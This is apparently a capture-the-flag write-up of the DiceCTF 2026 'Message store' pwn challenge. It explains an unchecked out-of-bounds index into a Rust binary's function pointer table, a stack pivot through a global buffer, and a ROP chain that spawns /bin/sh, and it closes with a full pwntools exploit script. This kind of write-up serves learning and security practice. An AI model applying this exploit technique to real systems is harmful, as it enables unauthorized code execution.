Message store - DiceCTF 2026

Exploiting a Rust executable with an OOB index into a function pointer table via stack pivoting and ROP

r4yan2026-04-248 min read
CTFPWNRUST

This challenge contains a compiled rust executable, that has the following protections

bash
Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x200000)

Since PIE is disabled and NX is enabled, memory addresses remain static, making Return-Oriented Programming (ROP) the ideal attack vector

With 508k lines of disassembly, we need to locate the actual challenge code, rust binaries are usually large due to static linking of the standard library

bash
_RNvCslo4xS7ANgHU_9challenge4main         -> challenge::main
_RNvCslo4xS7ANgHU_9challenge11set_message  -> challenge::set_message
_RNvCslo4xS7ANgHU_9challenge13print_message -> challenge::print_message
_RNvCslo4xS7ANgHU_9challenge17set_message_color -> challenge::set_message_color
_RNvCslo4xS7ANgHU_9challenge11input_bytes  -> challenge::input_bytes
_RNvCslo4xS7ANgHU_9challenge5input         -> challenge::input
_RNvCslo4xS7ANgHU_9challenge6BUFFER        -> challenge::BUFFER (global)
_RNvCslo4xS7ANgHU_9challenge5COLOR         -> challenge::COLOR (global)

All challenge functions live in a tight range around 0x243700–0x243E80.

From challenge::main the string data reveals the menu:

bash
-- MESSAGE STORER --
1) Set Message
2) Set Message Color
3) Print Message
4) Exit

The main function works as follows with this loop :

  1. Calls input_parsed::<u8> to read a menu choice
  2. Switch on choices 1–4:
    1. Case 1 -> set_message()
    2. Case 2 -> set_message_color()
    3. Case 3 -> print_message()
    4. Case 4 -> exit

Analyzing Each Function

1) set_message

lea  rsi, "New Message? ..."    ; prompt
call input_bytes                 ; read raw bytes from stdin
cmp  rcx, 1000h                 ; check length
jbe  .copy_to_buffer
; if > 0x1000: print "message too long"
.copy_to_buffer:
lea  rdi, BUFFER                ; destination = global BUFFER @ 0x2F9E38
call copy_from_slice             ; memcpy input → BUFFER

it reads up to 0x1000 bytes of raw input and copies them into a global buffer in the BSS at 0x2F9E38, the length is checked so there's no overflow here.

2) set_message_color

lea  rsi, "-- Message Colors --\n0) Red\n1) Green\n..."  ; color menu
call input_parsed::<u64>         ; parse user input as u64
cmp  rcx, 2                     ; parse error?
jz   .return
test cl, 1                      ; successful parse?
jz   .return
mov  [COLOR], rax               ; STORE WITHOUT VALIDATION

it parses a u64 from user input and writes it directly to COLOR (0x2F93B8), the color menu shows options 0–6, but there is absolutely no bounds check on the parsed value, meaning that any u64 is accepted

which is a bit suspicious, why accept a u64 for a 0–6 range?

3) print_message

This is where the vulnerability becomes exploitable:

; Convert BUFFER to a Rust string
lea  rsi, BUFFER                        ; raw buffer address
mov  edx, 1000h                         ; length = 0x1000
call String::from_utf8_lossy            ; → Cow<str>

; Load the color function pointer
mov  rax, [COLOR]                       ; ← attacker-controlled u64
lea  rcx, funcs_243A92                  ; table base @ 0x2F08E8
mov  r14, [rcx + rax*8]                 ; ← OUT-OF-BOUNDS READ

; Apply color to the string
call Cow::deref                         ; get &str → (rax=ptr, rdx=len)
lea  rdi, [rsp+var_60]                  ; output buffer (stack)
mov  rsi, rax                           ; input string pointer
call r14                                ; ← ARBITRARY FUNCTION CALL

Here's the vulnerability, the COLOR variable is used as an index into a table of 7 function pointers, since we control COLOR (any u64), we can read a function pointer from any address starting from the table's address, since we also control the content of BUFFER via set_message, we can also control where the function pointer is pointing to, by embedding an arbitrary address in the begining of the BUFFER, and setting the COLOR variable to the address of that buffer, with that we can call any function we want.

Mapping the Globals

1. funcs_243A92

  • Address: 0x2F08E8
  • Section: .data
  • Description: 7 function pointers (red, green, yellow, blue, magenta, cyan, white)

2. COLOR

  • Address: 0x2F93B8
  • Section: .data
  • Description: Current color index (default: 6 = white)

3. Buffer

  • Address: 0x2F9E38
  • Section: .bss
  • Description: 0x1000-byte message buffer

The function pointer table at 0x2F08E8 is structured as follows:

[0] → Colorize::red
[1] → Colorize::green
[2] → Colorize::yellow
[3] → Colorize::blue
[4] → Colorize::magenta
[5] → Colorize::cyan
[6] → Colorize::white   ← default COLOR value

Computing the OOB Index

since BUFFER is at 0x2F9E38 and the function pointer table is at 0x2F08E8:

offset = BUFFER - funcs_table = 0x2F9E38 - 0x2F08E8 = 0x9550 bytes
index  = 0x9550 / 8 = 0x12AA (4778 decimal)

if we set COLOR = 0x12AA, then:

[funcs_table + 0x12AA * 8] = [0x2F08E8 + 0x9550] = [0x2F9E38] = BUFFER[0:8]

The first 8 bytes of BUFFER are loaded as a function pointer and called.

We control BUFFER contents via set_message, so we can redirect call r14 to any address.

To read from any offset within BUFFER:

COLOR = (BUFFER + N - funcs_table) / 8 = (0x9550 + N) / 8

we would not target the address BUFFER but BUFFER+N

Call Context

When call r14 executes in print_message:

RegisterValueControlled?
r14BUFFER[N:N+8]Yes (via set_message + OOB color)
rdi&stack_var (output buffer)No
rsipointer to BUFFER string dataConditional
rdxstring lengthNo
Stack[ret_addr, ...]No

rsi points to BUFFER only if the content is valid UTF-8 (Cow::Borrowed), if not, from_utf8_lossy allocates a heap copy with replacement characters, and rsi points there instead

That means that we need to find a way to make our payload valid UTF-8, so that rsi points to BUFFER and not to a heap copy with replaced bytes

Exploitation

Stack Pivot + ROP Chain

Since NX is enabled, we need ROP, the primitive is a single call to a controlled address, but we don't control the stack or rdi, meaning that we can only execute one single function/gadget, the solution is a stack pivot.

if rsi = BUFFER address (valid UTF-8 content), then we can :

  1. Find gadget: xchg rsp, rsi; ret (bytes: 48 87 F4 C3, that are UTF-8 valid)
  2. This sets rsp = BUFFER, then ret pops the first qword (8 bytes) from BUFFER (since now it's address is set up as the stack pointer) as the next RIP
  3. BUFFER now functions as our stack containing a full ROP chain

ROP chain for execve("/bin/sh", NULL, NULL) which is going to be situated at the beginning of BUFFER

pop rdi; ret    → BUFFER + 0x200 (address of "/bin/sh" string)
pop rsi; ret    → 0
pop rdx; ret    → 0
pop rax; ret    → 59 (SYS_execve)
syscall; ret

Buffer Layout

Offset   Content
──────   ─────────────────────────
0x000    ROP chain (stack pivot lands here)
0x100    stack pivot gadget address (xchg rsp, rsi; ret) (called by OOB COLOR), after it's execution rsp is going to point to BUFFER[0x000], because it's stored in rsi, afterwards one of the gadgets is going to point rsp to 0x200 to avoid looping and to finish the ROP chain
0x200    "/bin/sh\x00"

UTF-8 restriction bypass

if gadget addresses contain non-ASCII/non-UTF8 bytes (e.g., 0x00, 0x24, etc.), the function from_utf8_lossy will create a heap copy and rsi won't point to BUFFE, but this is not the case here

Since PIE is disabled and the binary is loaded at a low address (0x200000), all our ROP gadget addresses consist of bytes in the 0x00-0x7F range, this makes the entire payload valid ASCII (meaning also valid UTF-8). As a result, rsi will point to our global BUFFER

Summary

┌─────────────────────────────────────────────────┐
│  1. set_message(ROP_chain + gadget + binsh)     │ 
│     → writes payload to BUFFER @ 0x2F9E38       │
├─────────────────────────────────────────────────┤
│  2. set_color(0x12AB)    # (0x9550+0x100)/8     │
│     → COLOR = index pointing to BUFFER[0x100]   │
├─────────────────────────────────────────────────┤
│  3. print_message()                             │
│     → loads BUFFER[0x100:0x108] as func ptr     │
│     → calls pivot gadget                        │
│     → xchg rsp, rsi; ret                        │
│     → rsp = BUFFER → executes ROP chain         │
│     → execve("/bin/sh", NULL, NULL)             │
│     → flagggg!                                  │
└─────────────────────────────────────────────────┘

Summary: Missing bounds check in set_message_color allows arbitrary out-of-bounds indexing into a function pointer table, which combined with attacker-controlled global buffer contents, can leave us with arbitrary code execution.

Final Exploit

#!/usr/bin/env python3
from pwn import *

exe = ELF("./challenge")
context.binary = exe

def conn():
    if args.REMOTE:
        return remote("message-store.chals.dicec.tf", 1337)
    if args.GDB:
        return gdb.debug(exe.path, gdbscript="b *0x243A88\nc")
    return process(exe.path)

io = conn()

def set_message(data):
    io.sendlineafter(b"> ", b"1")
    io.sendlineafter(b"New Message? ", data)

def set_color(idx):
    io.sendlineafter(b"> ", b"2")
    io.sendlineafter(b"> ", str(idx).encode())

def print_message():
    io.sendlineafter(b"> ", b"3")

BUFFER_ADDR = 0x2F9E38
FUNCS_TABLE = 0x2F08E8

pivot_gadget = next(exe.search(asm("xchg rsp, rsi; ret"))) # 0x48 0x87 F4 C3
pop_rdi = next(exe.search(asm("pop rdi; ret")))
pop_rsi = next(exe.search(asm("pop rsi; ret")))
pop_rdx = next(exe.search(asm("pop rdx; ret")))
pop_rax = next(exe.search(asm("pop rax; ret")))
syscall = next(exe.search(asm("syscall; ret")))

log.success(f"Pivot: {hex(pivot_gadget)}")

binsh_addr = BUFFER_ADDR + 0x200

rop = flat({
    0: [
        pop_rdi, binsh_addr,
        pop_rsi, 0,
        pop_rdx, 0,
        pop_rax, 59,
        syscall
    ],
    0x100: p64(pivot_gadget),
    0x200: b"/bin/sh\x00"
})

color_index = (BUFFER_ADDR + 0x100 - FUNCS_TABLE) // 8

log.info(f"Setting index to: {hex(color_index)}")
set_message(rop)
set_color(color_index)

log.info("Triggering Shell...")
print_message()

io.interactive()